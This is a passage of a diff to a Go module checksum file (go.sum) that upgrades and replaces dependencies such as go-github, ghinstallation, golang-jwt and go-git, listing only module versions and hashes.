v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc= +github.com/alecthomas/template v0.0.0-20190718012654-fb15b899a751/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc= +github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0= +github.com/alecthomas/units v0.0.0-20190717042225-c3de453c63f4/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0= +github.com/alecthomas/units v0.0.0-20190924025748-f65c72e2690d/go.mod h1:rBZYJk541a8SKzHPHnH3zbiI+7dagKZ0cgpgrD7Fyho= +github.com/alicebob/gopher-json v0.0.0-20230218143504-906a9b012302 h1:uvdUDbHQHO85qeSydJtItA4T55Pw6BtAejd0APRJOCE= +github.com/alicebob/gopher-json v0.0.0-20230218143504-906a9b012302/go.mod h1:SGnFV6hVsYE877CKEZ6tDNTjaSXYUk6QqoIK6PrAtcc= +github.com/alicebob/miniredis/v2 v2.34.0 h1:mBFWMaJSNL9RwdGRyEDoAAv8OQc5UlEhLDQggTglU/0= +github.com/alicebob/miniredis/v2 v2.34.0/go.mod h1:kWShP4b58T1CW0Y5dViCd5ztzrDqRWqM3nksiyXk5s8= +github.com/apparentlymart/go-textseg/v15 v15.0.0 h1:uYvfpb3DyLSCGWnctWKGj857c6ew1u1fNQOlOtuGxQY= +github.com/apparentlymart/go-textseg/v15 v15.0.0/go.mod h1:K8XmNZdhEBkdlyDdvbmmsvpAG721bKi0joRfFdHIWJ4= +github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2 h1:DklsrG3dyBCFEj5IhUbnKptjxatkF07cF2ak3yi77so= +github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2/go.mod h1:WaHUgvxTVq04UNunO+XhnAqY/wQc+bxr74GqbsZ/Jqw= +github.com/aymerick/douceur v0.2.0 h1:Mv+mAeH1Q+n9Fr+oyamOlAkUNPWPlA8PPGR0QAaYuPk= +github.com/aymerick/douceur v0.2.0/go.mod h1:wlT5vV2O3h55X9m7iVYN0TBM0NH/MmbLnd30/FjWUq4= +github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q= +github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8= +github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM= +github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw= github.com/bgentry/go-netrc v0.0.0-20140422174119-9fd32a8b3d3d h1:xDfNPAt8lFiC1UJrqV3uuy861HCTo708pDMbjHHdCas= github.com/bgentry/go-netrc v0.0.0-20140422174119-9fd32a8b3d3d/go.mod h1:6QX/PXZ00z/TKoufEY6K/a0k6AhaJrQKdFe6OfVXsa4= -github.com/bradleyfalzon/ghinstallation v1.1.1 h1:pmBXkxgM1WeF8QYvDLT5kuQiHMcmf+X015GI0KM/E3I= -github.com/bradleyfalzon/ghinstallation v1.1.1/go.mod h1:vyCmHTciHx/uuyN82Zc3rXN3X2KTK8nUTCrTMwAhcug= -github.com/briandowns/spinner v0.0.0-20170614154858-48dbb65d7bd5 h1:osZyZB7J4kE1tKLeaUjV6+uZVBfS835T0I/RxmwWw1w= -github.com/briandowns/spinner v0.0.0-20170614154858-48dbb65d7bd5/go.mod h1:hw/JEQBIE+c/BLI4aKM8UU8v+ZqrD3h7HC27kKt8JQU= -github.com/cheggaaa/pb v1.0.27/go.mod h1:pQciLPpbU0oxA0h+VJYYLxO+XeDQb5pZijXscXHm81s= +github.com/bmatcuk/doublestar/v4 v4.8.1 h1:54Bopc5c2cAvhLRAzqOGCYHYyhcDHsFF4wWIR5wKP38= +github.com/bmatcuk/doublestar/v4 v4.8.1/go.mod h1:xBQ8jztBU6kakFMg+8WGxn0c6z1fTSPVIjEY1Wr7jzc= +github.com/bradleyfalzon/ghinstallation/v2 v2.15.0 h1:7r2rPUM04rgszMP0U1UZ1M5VoVVIlsaBSnpABfYxcQY= +github.com/bradleyfalzon/ghinstallation/v2 v2.15.0/go.mod h1:PoH9Vhy82OeRFZfxsVrk3mfQhVkEzou9OOwPOsEhiXE= +github.com/briandowns/spinner v1.23.2 h1:Zc6ecUnI+YzLmJniCfDNaMbW0Wid1d5+qcTq4L2FW8w= +github.com/briandowns/spinner v1.23.2/go.mod h1:LaZeM4wm2Ywy6vO571mvhQNRcWfRUnXOs0RcKV0wYKM= +github.com/bsm/ginkgo/v2 v2.12.0 h1:Ny8MWAHyOepLGlLKYmXG4IEkioBysk6GpaRTLC8zwWs= +github.com/bsm/ginkgo/v2 v2.12.0/go.mod h1:SwYbGRRDovPVboqFv0tPTcG1sN61LM1Z4ARdbAV9g4c= +github.com/bsm/gomega v1.27.10 h1:yeMWxP2pV2fG3FgAODIY8EiRE3dy0aeFYt4l7wh6yKA= +github.com/bsm/gomega v1.27.10/go.mod h1:JyEr/xRbxbtgWNi8tIEVPUYZ5Dzef52k01W3YH0H+O0= +github.com/bwesterb/go-ristretto v1.2.3/go.mod h1:fUIoIZaG73pV5biE2Blr2xEzDoMj7NFEuV9ekS419A0= +github.com/cactus/go-statsd-client/v5 v5.1.0 h1:sbbdfIl9PgisjEoXzvXI1lwUKWElngsjJKaZeC021P4= +github.com/cactus/go-statsd-client/v5 v5.1.0/go.mod h1:COEvJ1E+/E2L4q6QE5CkjWPi4eeDw9maJBMIuMPBZbY= +github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= +github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= +github.com/cespare/xxhash/v2 v2.1.2/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= +github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs= +github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= +github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI= +github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI= +github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU= github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= +github.com/cloudflare/circl v1.3.3/go.mod h1:5XYMA4rFBvNIrhs50XuiBJ15vF2pZn4nnUKZrLbUZFA= +github.com/cloudflare/circl v1.6.1 h1:zqIqSPIndyBh1bjLVVDHMPpVKqp8Su/V+6MeDzzQBQ0= +github.com/cloudflare/circl v1.6.1/go.mod h1:uddAzsPgqdMAYatqJ0lsjX1oECcQLIlRpzZh3pJrofs= +github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc= +github.com/cpuguy83/go-md2man/v2 v2.0.6/go.mod h1:oOW0eioCTA6cOiMLiUPZOpcVxMig6NIQQ7OS05n1F4g= +github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= +github.com/cyphar/filepath-securejoin v0.4.1 h1:JyxxyPEaktOD+GAnqIqTf9A8tHyAG22rowi7HkoSU1s= +github.com/cyphar/filepath-securejoin v0.4.1/go.mod h1:Sdj7gXlvMcPZsbhwhQ33GguGLDGQL7h7bg04C/+u9jI= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= -github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= -github.com/dgrijalva/jwt-go v3.2.0+incompatible h1:7qlOGliEKZXTDg6OTjfoBKDXWrumCAMpl/TFQ4/5kLM= -github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ= -github.com/docker/docker v0.0.0-20180620051407-e2593239d949 h1:La/qO5ApRpiO4c0wGWFs4YB/HdobJHArySoQZfXtaUQ= -github.com/docker/docker v0.0.0-20180620051407-e2593239d949/go.mod h1:eEKB0N0r5NX/I1kEveEz05bcu8tLC/8azJZsviup8Sk= -github.com/elazarl/go-bindata-assetfs v1.0.0 h1:G/bYguwHIzWq9ZoyUQqrjTmJbbYn3j3CKKpKinvZLFk= -github.com/elazarl/go-bindata-assetfs v1.0.0/go.mod h1:v+YaWX3bdea5J/mo8dSETolEo7R71Vk1u8bnjau5yw4= -github.com/fatih/color v1.7.0 h1:DkWD4oS2D8LGGgTQ6IvwJJXSL5Vp2ffcQg58nFV38Ys= -github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= -github.com/flynn-archive/go-shlex v0.0.0-20150515145356-3f9db97f8568 h1:BMXYYRWTLOJKlh+lOBt6nUQgXAfB7oVIQt5cNreqSLI= -github.com/flynn-archive/go-shlex v0.0.0-20150515145356-3f9db97f8568/go.mod h1:rZfgFAXFS/z/lEd6LJmf9HVZ1LkgYiHx5pHhV5DR16M= -github.com/fsnotify/fsnotify v1.4.7 h1:IXs+QLmnXW2CcXuY+8Mzv/fWEsPGWxqefPtCP5CnV9I= -github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= -github.com/go-ozzo/ozzo-validation v0.0.0-20170913164239-85dcd8368eba h1:P0TvLfAFQ/hc8Q+VBsrgzGv52DxTjAu199VHbAI4LLQ= -github.com/go-ozzo/ozzo-validation v0.0.0-20170913164239-85dcd8368eba/go.mod h1:gsEKFIVnabGBt6mXmxK0MoFy+cZoTJY6mu5Ll3LVLBU= -github.com/go-playground/locales v0.12.1 h1:2FITxuFt/xuCNP1Acdhv62OzaCiviiE4kotfhkmOqEc= -github.com/go-playground/locales v0.12.1/go.mod h1:IUMDtCfWo/w/mtMfIE/IG2K+Ey3ygWanZIBtBW0W2TM= -github.com/go-playground/universal-translator v0.16.0 h1:X++omBR/4cE2MNg91AoC3rmGrCjJ8eAeUP/K/EKx4DM= -github.com/go-playground/universal-translator v0.16.0/go.mod h1:1AnU7NaIRDWWzGEKwgtJRd2xk99HeFyHw3yid4rvQIY= -github.com/go-test/deep v1.0.3 h1:ZrJSEWsXzPOxaZnFteGEfooLba+ju3FYIbOrS+rQd68= -github.com/go-test/deep v1.0.3/go.mod h1:wGDj63lr65AM2AQyKZd/NYHGb0R+1RLqB8NKt3aSFNA= -github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b h1:VKtxabqXZkF25pY9ekfRL6a582T4P37/31XEstQ5p58= +github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc h1:U9qPSI2PIWSS1VwoXQT9A3Wy9MM3WgvqSxFWenqJduM= +github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/davidmz/go-pageant v1.0.2 h1:bPblRCh5jGU+Uptpz6LgMZGD5hJoOt7otgT454WvHn0= +github.com/davidmz/go-pageant v1.0.2/go.mod h1:P2EDDnMqIwG5Rrp05dTRITj9z2zpGcD9efWSkTNKLIE= +github.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f h1:lO4WD4F/rVNCu3HqELle0jiPLLBs70cWOduZpkS1E78= +github.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f/go.mod h1:cuUVRXasLTGF7a8hSLbxyZXjz+1KgoB3wDUb6vlszIc= +github.com/drmaxgit/go-azuredevops v0.13.2 h1:wcY3X8vVkidVpILwPqUiF8xNtELpvjdv6QkNWcZyHu8= +github.com/drmaxgit/go-azuredevops v0.13.2/go.mod h1:m1pO2fW60I9FahzLHMmHYq3bM446ZMZKDpd8+AEKzxc= +github.com/emirpasic/gods v1.18.1 h1:FXtiHYKDGKCW2KzwZKx0iC0PQmdlorYgdFG9jPXJ1Bc= +github.com/emirpasic/gods v1.18.1/go.mod h1:8tpGGwCnJ5H4r6BWwaV6OrWmMoPhUl5jm/FMNAnJvWQ= +github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= +github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= +github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98= +github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= +github.com/fatih/color v1.16.0 h1:zmkK9Ngbjj+K0yRhTVONQh1p/HknKYSlNT+vZCzyokM= +github.com/fatih/color v1.16.0/go.mod h1:fL2Sau1YI5c0pdGEVCbKQbLXB6edEj1ZgiY4NijnWvE= +github.com/frankban/quicktest v1.14.6 h1:7Xjx+VpznH+oBnejlPUj8oUpdxnVs4f8XU8WnHkI4W8= +github.com/frankban/quicktest v1.14.6/go.mod h1:4ptaffx2x8+WTWXmUCuVU6aPUX1/Mz7zb5vbUoiM6w0= +github.com/fsnotify/fsnotify v1.8.0 h1:dAwr6QBTBZIkG8roQaJjGof0pp0EeF+tNV7YBP3F/8M= +github.com/fsnotify/fsnotify v1.8.0/go.mod h1:8jBTzvmWwFyi3Pb8djgCCO5IBqzKJ/Jwo8TRcHyHii0= +github.com/gabriel-vasile/mimetype v1.4.8 h1:FfZ3gj38NjllZIeJAmMhr+qKL8Wu+nOoI3GqacKw1NM= +github.com/gabriel-vasile/mimetype v1.4.8/go.mod h1:ByKUIKGjh1ODkGM1asKUbQZOLGrPjydw3hYPU2YU9t8= +github.com/go-fed/httpsig v1.1.0 h1:9M+hb0jkEICD8/cAiNqEB66R87tTINszBRTjwjQzWcI= +github.com/go-fed/httpsig v1.1.0/go.mod h1:RCMrTZvN1bJYtofsG4rd5NaO5obxQ5xBkdiS7xsT7bM= +github.com/go-git/gcfg v1.5.1-0.20230307220236-3a3c6141e376 h1:+zs/tPmkDkHx3U66DAb0lQFJrpS6731Oaa12ikc+DiI= +github.com/go-git/gcfg v1.5.1-0.20230307220236-3a3c6141e376/go.mod h1:an3vInlBmSxCcxctByoQdvwPiA7DTK7jaaFDBTtu0ic= +github.com/go-git/go-billy/v5 v5.6.2 h1:6Q86EsPXMa7c3YZ3aLAQsMA0VlWmy43r6FHqa/UNbRM= +github.com/go-git/go-billy/v5 v5.6.2/go.mod h1:rcFC2rAsp/erv7CMz9GczHcuD0D32fWzH+MJAU+jaUU= +github.com/go-git/go-git/v5 v5.14.0 h1:/MD3lCrGjCen5WfEAzKg00MJJffKhC8gzS80ycmCi60= +github.com/go-git/go-git/v5 v5.14.0/go.mod h1:Z5Xhoia5PcWA3NF8vRLURn9E5FRhSl7dGj9ItW3Wk5k= +github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU= +github.com/go-gl/glfw/v3.3/glfw v0.0.0-20191125211704-12ad95a8df72/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= +github.com/go-gl/glfw/v3.3/glfw v0.0.0-20200222043503-6f7a984d4dc4/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= +github.com/go-kit/kit v0.8.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as= +github.com/go-kit/kit v0.9.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as= +github.com/go-kit/log v0.1.0/go.mod h1:zbhenjAZHb184qTLMA9ZjW7ThYL0H2mk7Q6pNt4vbaY= +github.com/go-kit/log v0.2.0/go.mod h1:NwTd00d/i8cPZ3xOwwiv2PO5MOcx78fFErGNcVmBjv0= +github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE= +github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk= +github.com/go-logfmt/logfmt v0.5.0/go.mod h1:wCYkCAKZfumFQihp8CzCvQ3paCTfi41vtzG1KdI/P7A= +github.com/go-logfmt/logfmt v0.5.1/go.mod h1:WYhtIu8zTZfxdn5+rREduYbwxfcBr/Vr6KEVveWlfTs= +github.com/go-logr/logr v1.4.2 h1:6pFjapn8bFcIbiKo3XT4j/BhANplGihG6tvd+8rYgrY= +github.com/go-logr/logr v1.4.2/go.mod h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY= +github.com/go-ozzo/ozzo-validation v3.6.0+incompatible h1:msy24VGS42fKO9K1vLz82/GeYW1cILu7Nuuj1N3BBkE= +github.com/go-ozzo/ozzo-validation v3.6.0+incompatible/go.mod h1:gsEKFIVnabGBt6mXmxK0MoFy+cZoTJY6mu5Ll3LVLBU= +github.com/go-playground/assert/v2 v2.2.0 h1:JvknZsQTYeFEAhQwI4qEt9cyV5ONwRHC+lYKSsYSR8s= +github.com/go-playground/assert/v2 v2.2.0/go.mod h1:VDjEfimB/XKnb+ZQfWdccd7VUvScMdVu0Titje2rxJ4= +github.com/go-playground/locales v0.14.1 h1:EWaQ/wswjilfKLTECiXz7Rh+3BjFhfDFKv/oXslEjJA= +github.com/go-playground/locales v0.14.1/go.mod h1:hxrqLVvrK65+Rwrd5Fc6F2O76J/NuW9t0sjnWqG1slY= +github.com/go-playground/universal-translator v0.18.1 h1:Bcnm0ZwsGyWbCzImXv+pAJnYK9S473LQFuzCbDbfSFY= +github.com/go-playground/universal-translator v0.18.1/go.mod h1:xekY+UJKNuX9WP91TpwSH2VMlDf28Uj24BCp08ZFTUY= +github.com/go-playground/validator/v10 v10.26.0 h1:SP05Nqhjcvz81uJaRfEV0YBSSSGMc/iMaVtFbr3Sw2k= +github.com/go-playground/validator/v10 v10.26.0/go.mod h1:I5QpIEbmr8On7W0TktmJAumgzX4CA1XNl4ZmDuVHKKo= +github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY= +github.com/go-task/slim-sprig v0.0.0-20230315185526-52ccab3ef572 h1:tfuBGBXKqDEevZMzYi5KSi8KkcZtzBcTgAUUtapy0OI= +github.com/go-task/slim-sprig v0.0.0-20230315185526-52ccab3ef572/go.mod h1:9Pwr4B2jHnOSGXyyzV8ROjYa2ojvAY6HCGYYfMoC3Ls= +github.com/go-test/deep v1.0.4/go.mod h1:wGDj63lr65AM2AQyKZd/NYHGb0R+1RLqB8NKt3aSFNA= +github.com/go-test/deep v1.1.1 h1:0r/53hagsehfO4bzD2Pgr/+RgHqhmf+k1Bpse2cTu1U= +github.com/go-test/deep v1.1.1/go.mod h1:5C2ZWiW0ErCdrYzpqxLbTX7MG14M9iiw8DgHncVwcsE= +github.com/go-viper/mapstructure/v2 v2.2.1 h1:ZAaOCxANMuZx5RCeg0mBdEZk7DZasvvZIxtHqx8aGss= +github.com/go-viper/mapstructure/v2 v2.2.1/go.mod h1:oJDH3BJKyqBA2TXFhDsKDGDTlndYOZ6rGS0BRZIxGhM= +github.com/gofri/go-github-ratelimit v1.1.1 h1:5TCOtFf45M2PjSYU17txqbiYBEzjOuK1+OhivbW69W0= +github.com/gofri/go-github-ratelimit v1.1.1/go.mod h1:wGZlBbzHmIVjwDR3pZgKY7RBTV6gsQWxLVkpfwhcMJM= +github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ= +github.com/golang-jwt/jwt/v4 v4.5.2 h1:YtQM7lnr8iZ+j5q71MGKkNw9Mn7AjHM68uc9g5fXeUI= +github.com/golang-jwt/jwt/v4 v4.5.2/go.mod h1:m21LjoU+eqJr34lmDMbreY2eSTRJ1cv77w39/MY0Ch0= +github.com/golang-jwt/jwt/v5 v5.2.2 h1:Rl4B7itRWVtYIHFrSNd7vhTiz9UpLdi6gZhZ3wEeDy8= +github.com/golang-jwt/jwt/v5 v5.2.2/go.mod h1:pqrtFR0X4osieyHYxtmOUWsAWrfe1Q5UVIyoH402zdk= github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= +github.com/golang/groupcache v0.0.0-20190702054246-869f871628b6/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= +github.com/golang/groupcache v0.0.0-20191227052852-215e87163ea7/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= +github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= +github.com/golang/groupcache v0.0.0-20241129210726-2c02b8208cf8 h1:f+oWsMOmNPc8JmEHVZIycC7hBoQxHH9pNKQORJNozsQ= +github.com/golang/groupcache v0.0.0-20241129210726-2c02b8208cf8/go.mod h1:wcDNUvekVysuuOpQKo3191zZyTpiI6se1N1ULghS0sw= github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= github.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= github.com/golang/mock v1.3.1/go.mod h1:sBzyDLLjw3U8JLTeZvSv8jJB+tU5PVekmnlKIyFUx0Y= -github.com/golang/protobuf v1.1.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= +github.com/golang/mock v1.4.0/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= +github.com/golang/mock v1.4.1/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= +github.com/golang/mock v1.4.3/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= +github.com/golang/mock v1.4.4/go.mod h1:l3mdAwkq5BuhzHwde/uurv3sEJeZMXNpwsxVWU71h+4= +github.com/golang/mock v1.6.0 h1:ErTB+efbowRARo13NNdxyJji2egdxLGQhRaY+DUumQc= +github.com/golang/mock v1.6.0/go.mod h1:p6yTPP+5HYm5mzsMV8JkE6ZKdX+/wYM6Hr+LicevLPs= github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= -github.com/golang/protobuf v1.3.2 h1:6nsPYzhq5kReh6QImI3k5qWzO4PEbvbIW2cwSfR/6xs= github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= +github.com/golang/protobuf v1.3.3/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw= +github.com/golang/protobuf v1.3.4/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw= +github.com/golang/protobuf v1.3.5/go.mod h1:6O5/vntMXwX2lRkT1hjjk0nAC1IDOTvTlVgjlRvqsdk= +github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8= +github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA= +github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs= +github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w= +github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0= +github.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QDs8UjoX8= +github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= +github.com/golang/protobuf v1.4.3/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= +github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= +github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= +github.com/golang/protobuf v1.5.4 h1:i7eJL8qZTpSEXOPTxNKhASYpMn+8e5Q6AdndVa1dWek= +github.com/golang/protobuf v1.5.4/go.mod h1:lnTiLA8Wa4RWRcIUkrtSVa5nRhsEGBg48fD6rSs7xps= github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= github.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= -github.com/google/go-cmp v0.3.1 h1:Xye71clBPdm5HgqGwUkwhbynsUJZhDbS20FvLhQ2izg= github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= -github.com/google/go-cmp v0.5.2 h1:X2ev0eStA3AbceY54o37/0PQ/UWqKEiiO2dKL5OPaFM= +github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.4.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-github/v29 v29.0.2 h1:opYN6Wc7DOz7Ku3Oh4l7prmkOMwEcQxpFtxdU8N8Pts= -github.com/google/go-github/v29 v29.0.2/go.mod h1:CHKiKKPHJ0REzfwc14QMklvtHwCveD0PxlMjLlzAM5E= -github.com/google/go-github/v31 v31.0.0 h1:JJUxlP9lFK+ziXKimTCprajMApV1ecWD4NB6CCb0plo= -github.com/google/go-github/v31 v31.0.0/go.mod h1:NQPZol8/1sMoWYGN2yaALIBytu17gAWfhbweiEed3pM= -github.com/google/go-querystring v1.0.0 h1:Xkwi/a1rcvNg1PPYe5vI8GbeBY/jrVuDX5ASuANWTrk= +github.com/google/go-cmp v0.5.4/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.7/go.mod h1:n+brtR0CgQNWTVd5ZUFpTBC8YFBDLK/h/bpaJ8/DtOE= +github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8= +github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU= +github.com/google/go-github/v71 v71.0.0 h1:Zi16OymGKZZMm8ZliffVVJ/Q9YZreDKONCr+WUd0Z30= +github.com/google/go-github/v71 v71.0.0/go.mod 